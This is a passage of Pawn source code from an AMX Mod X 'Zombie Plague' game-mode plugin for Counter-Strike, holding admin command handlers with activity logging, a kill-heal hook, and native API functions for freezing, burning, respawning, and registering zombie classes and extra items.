	|| fnGetAlive()-(get_pcvar_num(cvar_plaguesurvnum)+get_pcvar_num(cvar_plaguenemnum)+floatround((fnGetAlive()-(get_pcvar_num(cvar_plaguenemnum)+get_pcvar_num(cvar_plaguesurvnum)))*get_pcvar_float(cvar_plagueratio), floatround_ceil)) < 1)
		return false;
	
	return true;
}

command_zombie(id, player) {
	// Show activity?
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %s %L", g_playername[player], LANG_PLAYER, "CMD_INFECT")
		case 2: client_print(0, print_chat, "ADMIN %s - %s %L", g_playername[id], g_playername[player], LANG_PLAYER, "CMD_INFECT")
	}
	
	// Log to Zombie Plague log file?
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %s %L (Players: %d/%d)", g_playername[id], authid, ip, g_playername[player], LANG_SERVER, "CMD_INFECT", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	// New round?
	if (g_newround)
	{
		// Set as first zombie
		remove_task(TASK_MAKEZOMBIE)
		make_a_zombie(MODE_INFECTION, player)
	}
	else
	{
		// Just infect
		zombieme(player, 0, 0, 0, 0)
	}
}

command_human(id, player) {
	// Show activity?
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %s %L", g_playername[player], LANG_PLAYER, "CMD_DISINFECT")
		case 2: client_print(0, print_chat, "ADMIN %s - %s %L", g_playername[id], g_playername[player], LANG_PLAYER, "CMD_DISINFECT")
	}
	
	// Log to Zombie Plague log file?
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %s %L (Players: %d/%d)", g_playername[id], authid, ip, g_playername[player], LANG_SERVER,"CMD_DISINFECT", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	// Turn to human
	humanme(player, 0, 0)
}

command_survivor(id, player) {
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %s %L", g_playername[player], LANG_PLAYER, "CMD_SURVIVAL")
		case 2: client_print(0, print_chat, "ADMIN %s - %s %L", g_playername[id], g_playername[player], LANG_PLAYER, "CMD_SURVIVAL")
	}
	
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %s %L (Players: %d/%d)", g_playername[id], authid, ip, g_playername[player], LANG_SERVER,"CMD_SURVIVAL", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	if (g_newround)
	{
		remove_task(TASK_MAKEZOMBIE)
		make_a_zombie(MODE_SURVIVOR, player)
	}
	else
	{
		humanme(player, 1, 0)
	}
	
	set_task(0.1, "set_armor_by_zombie", player);
}

public set_armor_by_zombie( id ) {
	set_pev( id, pev_armorvalue, float( pev(id, pev_armorvalue) + get_pcvar_num(g_cvar_survivor_armor)*fnGetZombies() ) );
}

command_nemesis(id, player) {
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %s %L", g_playername[player], LANG_PLAYER, "CMD_NEMESIS")
		case 2: client_print(0, print_chat, "ADMIN %s - %s %L", g_playername[id], g_playername[player], LANG_PLAYER, "CMD_NEMESIS")
	}
	
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %s %L (Players: %d/%d)", g_playername[id], authid, ip, g_playername[player], LANG_SERVER,"CMD_NEMESIS", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	if (g_newround)
	{
		remove_task(TASK_MAKEZOMBIE)
		make_a_zombie(MODE_NEMESIS, player)
	}
	else
	{
		zombieme(player, 0, 1, 0, 0)
	}
}

command_respawn(id, player) {
	// Show activity?
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %s %L", g_playername[player], LANG_PLAYER, "CMD_RESPAWN")
		case 2: client_print(0, print_chat, "ADMIN %s - %s %L", g_playername[id], g_playername[player], LANG_PLAYER, "CMD_RESPAWN")
	}
	
	// Log to Zombie Plague log file?
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %s %L (Players: %d/%d)", g_playername[id], authid, ip, g_playername[player], LANG_SERVER, "CMD_RESPAWN", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	// Respawn as zombie?
	if (get_pcvar_num(cvar_deathmatch) == 2 || (get_pcvar_num(cvar_deathmatch) == 3 && random_num(0, 1)) || (get_pcvar_num(cvar_deathmatch) == 4 && fnGetZombies() < fnGetAlive()/2))
		g_respawn_as_zombie[player] = true
	
	// Override respawn as zombie setting on nemesis and survivor rounds
	if (g_survround) g_respawn_as_zombie[player] = true
	else if (g_nemround) g_respawn_as_zombie[player] = false
	
	respawn_player_manually(player);
}

command_swarm(id) {
	// Show activity?
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %L", LANG_PLAYER, "CMD_SWARM")
		case 2: client_print(0, print_chat, "ADMIN %s - %L", g_playername[id], LANG_PLAYER, "CMD_SWARM")
	}
	
	// Log to Zombie Plague log file?
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %L (Players: %d/%d)", g_playername[id], authid, ip, LANG_SERVER, "CMD_SWARM", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	// Call Swarm Mode
	remove_task(TASK_MAKEZOMBIE)
	make_a_zombie(MODE_SWARM, 0)
}

command_multi(id) {
	// Show activity?
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %L", LANG_PLAYER, "CMD_MULTI")
		case 2: client_print(0, print_chat, "ADMIN %s - %L", g_playername[id], LANG_PLAYER, "CMD_MULTI")
	}
	
	// Log to Zombie Plague log file?
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %L (Players: %d/%d)", g_playername[id], authid, ip, LANG_SERVER,"CMD_MULTI", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	// Call Multi Infection
	remove_task(TASK_MAKEZOMBIE)
	make_a_zombie(MODE_MULTI, 0)
}

public hook_death(id)
{
   // Killer id
   nKiller = read_data(1)

   if(g_zombie[nKiller] || g_nemesis[nKiller] || g_survivor[nKiller] || g_is_saw[nKiller])
	return
   
   if ( (read_data(3) == 1) && (read_data(5) == 0) )
   {
      nHp_add = get_pcvar_num (health_hs_add)
   }
   else
      nHp_add = get_pcvar_num (health_add)

   nHp_max = get_pcvar_num (health_max)

   // Updating Killer HP
   nKiller_hp = get_user_health(nKiller)
   nKiller_hp += nHp_add

   // Maximum HP check
   if (nKiller_hp > nHp_max) nKiller_hp = nHp_max

   set_user_health(nKiller, nKiller_hp)

   // Screen fading
   message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, nKiller)
   write_short(1<<10)
   write_short(1<<10)
   write_short(0x0000)
   write_byte(0)
   write_byte(0)
   write_byte(200)
   write_byte(75)
   message_end()
   
} 

command_plague(id) {
	// Show activity?
	switch (get_pcvar_num(cvar_showactivity))
	{
		case 1: client_print(0, print_chat, "ADMIN - %L", LANG_PLAYER, "CMD_PLAGUE")
		case 2: client_print(0, print_chat, "ADMIN %s - %L", g_playername[id], LANG_PLAYER, "CMD_PLAGUE")
	}
	
	// Log to Zombie Plague log file?
	if (get_pcvar_num(cvar_logcommands))
	{
		static logdata[100], authid[32], ip[16]
		get_user_authid(id, authid, charsmax(authid))
		get_user_ip(id, ip, charsmax(ip), 1)
		formatex(logdata, charsmax(logdata), "ADMIN %s <%s><%s> - %L (Players: %d/%d)", g_playername[id], authid, ip, LANG_SERVER,"CMD_PLAGUE", fnGetPlaying(), g_maxplayers)
		log_to_file("zombieplague.log", logdata)
	}
	
	// Call Plague Mode
	remove_task(TASK_MAKEZOMBIE)
	make_a_zombie(MODE_PLAGUE, 0)
}

// Set proper maxspeed for player
set_player_maxspeed(id)
{
	// If freezetime isn't over yet, prevent from moving
	if (g_freezetime)
	{
		set_pev(id, pev_maxspeed, 1.0)
	}
	// If frozen, set the restore maxspeed value instead (bugfix)
	else if (g_frozen[id])
	{
		if (g_zombie[id])
		{
			if (g_nemesis[id])
				g_frozen_maxspeed[id] = get_pcvar_float(cvar_nemspd)
			else
				g_frozen_maxspeed[id] = g_zombie_spd[id]
		}
		else
		{
			if (g_survivor[id])
				g_frozen_maxspeed[id] = get_pcvar_float(cvar_survspd)
			else if (get_pcvar_float(cvar_humanspd) > 0.0)
				g_frozen_maxspeed[id] = get_pcvar_float(cvar_humanspd)
		}
	}
	// Otherwise, set maxspeed directly
	else
	{
		if (g_zombie[id])
		{
			if (g_nemesis[id])
				set_pev(id, pev_maxspeed, get_pcvar_float(cvar_nemspd))
			else
				set_pev(id, pev_maxspeed, g_zombie_spd[id])
		}
		else
		{
			if (g_survivor[id])
				set_pev(id, pev_maxspeed, get_pcvar_float(cvar_survspd))
			else if (get_pcvar_float(cvar_humanspd) > 0.0)
				set_pev(id, pev_maxspeed, get_pcvar_float(cvar_humanspd))
		}
	}
}



//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////

public native_set_ammo_value(id, value)
{
	g_currentammoValue[id] = value
}

public native_set_ammo_cost(id, value)
{
	g_currentammoCost[id] = value
}

public native_set_ammo_max(id, value)
{	
	g_currentammoMax[id] = value
}

public native_get_user_zombie(id) {
	return g_zombie[id];
}

public native_get_user_nemesis(id) {
	return g_nemesis[id];
}

public native_get_user_survivor(id) {
	return g_survivor[id];
}

public native_get_user_first_zombie(id) {
	return g_firstzombie[id];
}

public native_get_user_last_zombie(id) {
	return g_lastzombie[id];
}

public native_get_user_last_human(id) {
	return g_lasthuman[id];
}

public native_get_user_zombie_class(id) {
	return g_zombieclass[id];
}

public native_get_user_next_class(id) {
	return g_zombieclassnext[id];
}

public native_set_user_zombie_class(id, classid) {
	if (classid < 0 || classid >= g_zclass_i)
		return 0;
	
	g_zombieclassnext[id] = classid
	return 1;
}

public native_get_user_ammo_packs(id) {
	return g_ammopacks[id];
}

public native_set_user_ammo_packs(id, amount) {
	g_ammopacks[id] = amount;
}

public native_get_zombie_maxhealth(id) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	if (g_zombie[id] && !g_nemesis[id])
	{
		if (g_firstzombie[id])
			return floatround(float(ArrayGetCell(g_zclass_hp, g_zombieclass[id])) + get_pcvar_num(cvar_zombiefirsthp) * fnGetAlive());
		else
			return ArrayGetCell(g_zclass_hp, g_zombieclass[id]);
	}
	return -1;
}

public native_get_user_batteries(id) {
	return g_flashbattery[id];
}

public native_set_user_batteries(id, value) {
	// ZP disabled
	if (!g_pluginenabled)
		return;
	
	g_flashbattery[id] = clamp(value, 0, 100);
	
	if (g_cached_customflash)
	{
		// Set the flashlight charge task to update battery status
		remove_task(id+TASK_CHARGE)
		set_task(1.0, "flashlight_charge", id+TASK_CHARGE, _, _, "b")
	}
}

public native_get_user_nightvision(id) {
	return g_nvision[id];
}
public native_g_nodamage(id) {
	return g_nodamage[id];
}


public native_set_user_nightvision(id, set) {
	// ZP disabled
	if (!g_pluginenabled)
		return;
	
	if (set)
	{
		g_nvision[id] = true

		
		if (!g_isbot[id])
		{
			g_nvisionenabled[id] = true
			
			// Custom nvg?
			if (get_pcvar_num(cvar_customnvg))
			{
				remove_task(id+TASK_NVISION)
				set_task(0.1, "set_user_nvision", id+TASK_NVISION, _, _, "b")
			}
			else
				set_user_gnvision(id, 1)
		}
		else
			cs_set_user_nvg(id, 1)
	}
	else
	{
		// Remove CS nightvision if player owns one (bugfix)
		cs_set_user_nvg(id, 0)
		
		if (get_pcvar_num(cvar_customnvg)) remove_task(id+TASK_NVISION)
		else if (g_nvisionenabled[id]) set_user_gnvision(id, 0)
		g_nvision[id] = false
		g_nvisionenabled[id] = false
	}
}

public native_get_user_frozen(id) {
	return g_frozen[id]
}

public native_set_user_frozen(id, set) {
	if(set) /* Set = 1, froze player */
	{
		if(is_user_valid_alive(id) && !g_frozen[id])
		{
			g_frozen[id] = true

			static sound[64]
			ArrayGetString(grenade_frost_player, random_num(0, ArraySize(grenade_frost_player) - 1), sound, charsmax(sound))
			emit_sound(id, CHAN_BODY, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)

			if (get_pcvar_num(cvar_hudicons))
			{
				message_begin(MSG_ONE_UNRELIABLE, g_msgDamage, _, id)
				write_byte(0) // damage save
				write_byte(0) // damage take
				write_long(DMG_DROWN) // damage type - DMG_FREEZE
				write_coord(0) // x
				write_coord(0) // y
				write_coord(0) // z
				message_end()
			}

			if (g_handle_models_on_separate_ent)
				fm_set_rendering(g_ent_playermodel[id], kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25)
			else
				fm_set_rendering(id, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25)

			message_begin(MSG_ONE, g_msgScreenFade, _, id)
			write_short(0) // duration
			write_short(0) // hold time
			write_short(FFADE_STAYOUT) // fade type
			write_byte(0) // red
			write_byte(50) // green
			write_byte(200) // green
			write_byte(100) // alpha
			message_end()

			if (pev(id, pev_flags) & FL_ONGROUND)
				set_pev(id, pev_gravity, 999999.9) // set really high
			else
				set_pev(id, pev_gravity, 0.000001) // no gravity
		}
	}
	else /* Set = 0, unfroze player */
	{
		g_frozen[id] = false

		if (g_zombie[id])
		{
			if (g_nemesis[id])
				set_pev(id, pev_gravity, get_pcvar_float(cvar_nemgravity))
			else
				set_pev(id, pev_gravity, Float:ArrayGetCell(g_zclass_grav, g_zombieclass[id]))
		}
		else
		{
			if (g_survivor[id])
				set_pev(id, pev_gravity, get_pcvar_float(cvar_survgravity))
			else
				set_pev(id, pev_gravity, get_pcvar_float(cvar_humangravity))
		}

		if (g_handle_models_on_separate_ent)
		{
			if (g_nemesis[id] && get_pcvar_num(cvar_nemglow))
				fm_set_rendering(g_ent_playermodel[id], kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25)
			else if (g_survivor[id] && get_pcvar_num(cvar_survglow))
				fm_set_rendering(g_ent_playermodel[id], kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 25)
			else
				fm_set_rendering(g_ent_playermodel[id])
		}
		else
		{
			if (g_nemesis[id] && get_pcvar_num(cvar_nemglow))
				fm_set_rendering(id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25)
			else if (g_survivor[id] && get_pcvar_num(cvar_survglow))
				fm_set_rendering(id, kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 25)
			else
				fm_set_rendering(id)
		}
		message_begin(MSG_ONE, g_msgScreenFade, _, id)
		write_short(UNIT_SECOND) // duration
		write_short(0) // hold time
		write_short(FFADE_IN) // fade type
		write_byte(0) // red
		write_byte(50) // green
		write_byte(200) // blue
		write_byte(100) // alpha
		message_end()

		static sound[64]
		ArrayGetString(grenade_frost_break, random_num(0, ArraySize(grenade_frost_break) - 1), sound, charsmax(sound))
		emit_sound(id, CHAN_BODY, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)

		static origin2[3]
		get_user_origin(id, origin2)

		message_begin(MSG_PVS, SVC_TEMPENTITY, origin2)
		write_byte(TE_BREAKMODEL) // TE id
		write_coord(origin2[0]) // x
		write_coord(origin2[1]) // y
		write_coord(origin2[2]+24) // z
		write_coord(16) // size x
		write_coord(16) // size y
		write_coord(16) // size z
		write_coord(random_num(-50, 50)) // velocity x
		write_coord(random_num(-50, 50)) // velocity y
		write_coord(25) // velocity z
		write_byte(10) // random velocity
		write_short(g_glassSpr) // model
		write_byte(10) // count
		write_byte(25) // life
		write_byte(BREAK_GLASS) // flags
		message_end()
	
		ExecuteForward(g_fwUserUnfrozen, g_fwDummyResult, id)
	}
}

public native_get_user_nodamage(id) {
	return g_nodamage[id]
}

public native_set_user_nodamage(id, set) {
	if(set)
	{
		g_nodamage[id] = true
		set_task(0.1, "zombie_aura", id+TASK_AURA, _, _, "b")

		static sound[64]
		ArrayGetString(zombie_madness, random_num(0, ArraySize(zombie_madness) - 1), sound, charsmax(sound))
		emit_sound(id, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
	}
	else
	{
		g_nodamage[id] = false
	}
}

public native_get_user_stucked(id) {
	return is_player_stuck(id)
}

public native_set_user_unstucked(id) {
	if (g_isalive[id])
	{
		if (is_player_stuck(id))
		{
			if (get_pcvar_num(cvar_randspawn))
				do_random_spawn(id) // random spawn (including CSDM)
			else
				do_random_spawn(id, 1) // regular spawn
		}
	}
}

public native_user_has_infect_nade(id) {
	return g_infectnade[id]
}

public native_get_user_burning(id) {
	if(g_burning_duration[id] <= 0)
		return false
	
	return true    
}

public native_set_user_burning(id, bool:isburning) {
	switch(isburning)
	{
		case true: // Force to burn
		{
			if(!task_exists(id+TASK_BURN))
			{
				set_task(0.2, "burning_flame", id+TASK_BURN, _, _, "b")
			}
			else
			{
				g_burning_duration[id]--
			}
		}
		case false:
		{
			if(task_exists(id+TASK_BURN))
			{
				static origin[3]
				get_user_origin(id, origin)
				
				// Smoke sprite
				message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
				write_byte(TE_SMOKE) // TE id
				write_coord(origin[0]) // x
				write_coord(origin[1]) // y
				write_coord(origin[2]-50) // z
				write_short(g_smokeSpr) // sprite
				write_byte(random_num(15, 20)) // scale
				write_byte(random_num(10, 20)) // framerate
				message_end()
				
				remove_task(id+TASK_BURN)
				g_burning_duration[id] = 0
			}
		}
	}
}

public native_get_user_unlimited_clip(id) {
	return g_unlimited_clip[id]
}

public native_set_user_unlimited_clip(id, set) {
	if(set)
	{
		g_unlimited_clip[id] = true
	}
	else
	{
		g_unlimited_clip[id] = false
	}
}

public native_user_has_painshockfree(id) {
	return g_painshockfree[id]
}

public native_set_user_painshockfree(id, set) {
	if(set)
	{
		g_painshockfree[id] = true
	}
	else
	{
		g_painshockfree[id] = false
	}
}

public native_zp_set_gamemode(gamemode) {
	if(g_modestarted)
		return 0
	
	switch(gamemode)
	{
		case MODE_SWARM:
		{
			make_a_zombie(MODE_SWARM, 0)
		}
		case MODE_MULTI:
		{
			make_a_zombie(MODE_MULTI, 0)
		}
		case MODE_PLAGUE:
		{
			make_a_zombie(MODE_PLAGUE, 0)
		}
	}
	return 1
}

public native_infect_user(id, infector, silent, rewards) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	// Not allowed to be zombie
	if (!allowed_zombie(id))
		return 0;
	
	// New round?
	if (g_newround)
	{
		// Set as first zombie
		remove_task(TASK_MAKEZOMBIE)
		make_a_zombie(MODE_INFECTION, id)
	}
	else
	{
		// Just infect (plus some checks)
		zombieme(id, is_user_valid_alive(infector) ? infector : 0, 0, (silent == 1) ? 1 : 0, (rewards == 1) ? 1 : 0)
	}
	
	return 1;
}

public native_disinfect_user(id, silent) {
	if (!g_pluginenabled)
		return -1;
	
	if (!allowed_human(id))
		return 0;
	
	humanme(id, 0, (silent == 1) ? 1 : 0)
	return 1;
}

public native_make_user_nemesis(id) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	// Not allowed to be nemesis
	if (!allowed_nemesis(id))
		return 0;
	
	// New round?
	if (g_newround)
	{
		// Set as first nemesis
		remove_task(TASK_MAKEZOMBIE)
		make_a_zombie(MODE_NEMESIS, id)
	}
	else
	{
		// Turn player into a Nemesis
		zombieme(id, 0, 1, 0, 0)
	}
	
	return 1;
}

public native_make_user_survivor(id) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	// Not allowed to be survivor
	if (!allowed_survivor(id))
		return 0;
	
	// New round?
	if (g_newround)
	{
		// Set as first survivor
		remove_task(TASK_MAKEZOMBIE)
		make_a_zombie(MODE_SURVIVOR, id)
	}
	else
	{
		// Turn player into a Survivor
		humanme(id, 1, 0)
	}
	
	set_task(1.0, "set_armor_by_zombie", id);
	
	return 1;
}

public native_respawn_user(id, team) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	// Invalid player
	if (!is_user_valid_connected(id))
		return 0;
	
	// Respawn not allowed
	if (!allowed_respawn(id))
		return 0;
	
	// Respawn as zombie?
	g_respawn_as_zombie[id] = (team == ZP_TEAM_ZOMBIE) ? true : false
	
	// Respawnish!
	respawn_player_manually(id)
	return 1;
}

public native_force_buy_extra_item(id, itemid, ignorecost) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	if (itemid < 0 || itemid >= g_extraitem_i)
		return 0;
	
	buy_extra_item(id, itemid, ignorecost)
	return 1;
}

// Native: zp_override_user_model
public native_override_user_model(id, const newmodel[], modelindex)
{
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	// Strings passed byref
	param_convert(2)
	
	// Remove previous tasks
	remove_task(id+TASK_MODEL)
	
	// Custom models stuff
	static currentmodel[32]
	
	if (g_handle_models_on_separate_ent)
	{
		// Set the right model
		copy(g_playermodel[id], charsmax(g_playermodel[]), newmodel)
		if (g_set_modelindex_offset && modelindex) fm_cs_set_user_model_index(id, modelindex)
		
		// Set model on player model entity
		fm_set_playermodel_ent(id)
	}
	else
	{
		// Get current model for comparing it with the current one
		fm_cs_get_user_model(id, currentmodel, charsmax(currentmodel))
		
		// Set the right model, after checking that we don't already have it
		if (!equal(currentmodel, newmodel))
		{
			copy(g_playermodel[id], charsmax(g_playermodel[]), newmodel)
			if (g_set_modelindex_offset && modelindex) fm_cs_set_user_model_index(id, modelindex)
			
			// An additional delay is offset at round start
			// since SVC_BAD is more likely to be triggered there
			if (g_newround)
				set_task(5.0 * g_modelchange_delay, "fm_user_model_update", id+TASK_MODEL)
			else
				fm_user_model_update(id+TASK_MODEL)
		}
	}
	
	return 1;
}



public native_has_round_started() {
	if (g_newround) return 0; // not started
	if (g_modestarted) return 1; // started
	return 2; // starting
}

public native_is_nemesis_round() {
	return g_nemround;
}

public native_is_survivor_round() {
	return g_survround;
}

public native_is_swarm_round() {
	return g_swarmround;
}

public native_is_plague_round() {
	return g_plagueround;
}

public native_get_zombie_count() {
	return fnGetZombies();
}

public native_get_human_count() {
	return fnGetHumans();
}

public native_get_nemesis_count() {
	return fnGetNemesis();
}

public native_get_survivor_count() {
	return fnGetSurvivors();
}

public native_register_extra_item(const name[], cost, team) {
	if (!g_pluginenabled)
		return -1;
	
	if (!g_arrays_created)
		return -1;
	
	if (team == ZP_TEAM_ANY)
		team = ZP_TEAM_ZOMBIE|ZP_TEAM_HUMAN
	
	param_convert(1)
	
	if (equal(name, "ML_BY_SURVIVOR_HM"))
		g_buy_surv_extra_id = g_extraitem_i
	else
	if (equal(name, "ML_BY_NEMESIS_ZM"))
		g_buy_nem_extra_id = g_extraitem_i
	
	ArrayPushString(g_extraitem_name, name)
	ArrayPushCell(g_extraitem_cost, cost)
	ArrayPushCell(g_extraitem_team, team)
	
	ArrayPushCell(g_extraitem_new, 1)
	
	new i, buffer[32], size = ArraySize(g_extraitem2_realname)
	for (i = 0; i < size; i++)
	{
		ArrayGetString(g_extraitem2_realname, i, buffer, charsmax(buffer))
		
		if (!equal(name, buffer))
			continue;
		
		ArraySetCell(g_extraitem_new, g_extraitem_i, 0)
		
		ArrayGetString(g_extraitem2_name, i, buffer, charsmax(buffer))
		ArraySetString(g_extraitem_name, g_extraitem_i, buffer)
		
		buffer[0] = ArrayGetCell(g_extraitem2_cost, i)
		ArraySetCell(g_extraitem_cost, g_extraitem_i, buffer[0])
		
		buffer[0] = ArrayGetCell(g_extraitem2_team, i)
		ArraySetCell(g_extraitem_team, g_extraitem_i, buffer[0])
	}
	
	g_extraitem_i++
	
	return g_extraitem_i-1;
}

public native_register_extra_item2(const name[], cost, team) {
	ArrayPushString(g_extraitem_name, name);
	ArrayPushCell(g_extraitem_cost, cost);
	ArrayPushCell(g_extraitem_team, team);
	ArrayPushCell(g_extraitem_new, 1);
	
	g_extraitem_i++;
	
	return g_extraitem_i-1;
}

public native_register_zombie_class(const name[], const info[], const model[], const clawmodel[], hp, speed, Float:gravity, Float:knockback, const bombmodel[], Array:sounds,cost) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;

	// Arrays not yet initialized
	if (!g_arrays_created)
		return -1;

	// Strings passed byref
	param_convert(1)
	param_convert(2)
	param_convert(3)
	param_convert(4)
	param_convert(9)

	// Add the class
	ArrayPushString(g_zclass_name, name)
	ArrayPushString(g_zclass_info, info)
	
	// Using same zombie models for all classes?
	if (g_same_models_for_all)
	{
		ArrayPushCell(g_zclass_modelsstart, 0)
		ArrayPushCell(g_zclass_modelsend, ArraySize(g_zclass_playermodel))
	}
	else
	{
		ArrayPushCell(g_zclass_modelsstart, ArraySize(g_zclass_playermodel))
		ArrayPushString(g_zclass_playermodel, model)
		ArrayPushCell(g_zclass_modelsend, ArraySize(g_zclass_playermodel))
		ArrayPushCell(g_zclass_modelindex, -1)
	}
	
	ArrayPushString(g_zclass_clawmodel, clawmodel)
	ArrayPushCell(g_zclass_hp, hp)
	ArrayPushCell(g_zclass_spd, speed)
	ArrayPushCell(g_zclass_grav, gravity)
	ArrayPushCell(g_zclass_kb, knockback)
	ArrayPushString(g_zclass_bombmodel, bombmodel)
	ArrayPushCell(g_zclass_vip, cost)
	
	// Set temporary new class flag
	ArrayPushCell(g_zclass_new, 1)
	
	// Override zombie classes data with our customizations
	new buffer[128], Float:buffer2, nummodels_custom, nummodels_default, prec_mdl[100], prec_bomb[100], size = ArraySize(g_zclass2_realname)
	for (new i = 0; i < size; i++)
	{
		ArrayGetString(g_zclass2_realname, i, buffer, charsmax(buffer))
		
		// Check if this is the intended class to override
		if (!equal(name, buffer))
			continue;
		
		// Remove new class flag
		ArraySetCell(g_zclass_new, g_zclass_i, 0)
		
		// Replace caption
		ArrayGetString(g_zclass2_name, i, buffer, charsmax(buffer))
		ArraySetString(g_zclass_name, g_zclass_i, buffer)
		
		// Replace info
		ArrayGetString(g_zclass2_info, i, buffer, charsmax(buffer))
		ArraySetString(g_zclass_info, g_zclass_i, buffer)
		
		// Replace models, unless using same models for all classes
		if (!g_same_models_for_all)
		{
			nummodels_custom = ArrayGetCell(g_zclass2_modelsend, i) - ArrayGetCell(g_zclass2_modelsstart, i)
			nummodels_default = ArrayGetCell(g_zclass_modelsend, g_zclass_i) - ArrayGetCell(g_zclass_modelsstart, g_zclass_i)
			
			// Replace each player model and model index
			for (new k = 0; k < min(nummodels_custom, nummodels_default); k++)
			{
				ArrayGetString(g_zclass2_playermodel, ArrayGetCell(g_zclass2_modelsstart, i) + k, buffer, charsmax(buffer))
				ArraySetString(g_zclass_playermodel, ArrayGetCell(g_zclass_modelsstart, g_zclass_i) + k, buffer)
				
				// Precache player model and replace its modelindex with the real one
				formatex(prec_mdl, charsmax(prec_mdl), "models/player/%s/%s.mdl", buffer, buffer)
				ArraySetCell(g_zclass_modelindex, ArrayGetCell(g_zclass_modelsstart, g_zclass_i) + k, engfunc(EngFunc_PrecacheModel, prec_mdl))
				if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, prec_mdl)
				if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, prec_mdl)
			}
			
			// We have more custom models than what we can accommodate,
			// Let's make some space...
			if (nummodels_custom > nummodels_default)
			{
				for (new k = nummodels_default; k < nummodels_custom; k++)
				{
					ArrayGetString(g_zclass2_playermodel, ArrayGetCell(g_zclass2_modelsstart, i) + k, buffer, charsmax(buffer))
					ArrayInsertStringAfter(g_zclass_playermodel, ArrayGetCell(g_zclass_modelsstart, g_zclass_i) + k - 1, buffer)
					
					// Precache player model and retrieve its modelindex
					formatex(prec_mdl, charsmax(prec_mdl), "models/player/%s/%s.mdl", buffer, buffer)
					ArrayInsertCellAfter(g_zclass_modelindex, ArrayGetCell(g_zclass_modelsstart, g_zclass_i) + k - 1, engfunc(EngFunc_PrecacheModel, prec_mdl))
					if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, prec_mdl)
					if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, prec_mdl)
				}
				
				// Fix models end index for this class
				ArraySetCell(g_zclass_modelsend, g_zclass_i, ArrayGetCell(g_zclass_modelsend, g_zclass_i) + (nummodels_custom - nummodels_default))
			}
		}
		
		// Replace clawmodel
		ArrayGetString(g_zclass2_clawmodel, i, buffer, charsmax(buffer))
		ArraySetString(g_zclass_clawmodel, g_zclass_i, buffer)
		
		// Precache clawmodel
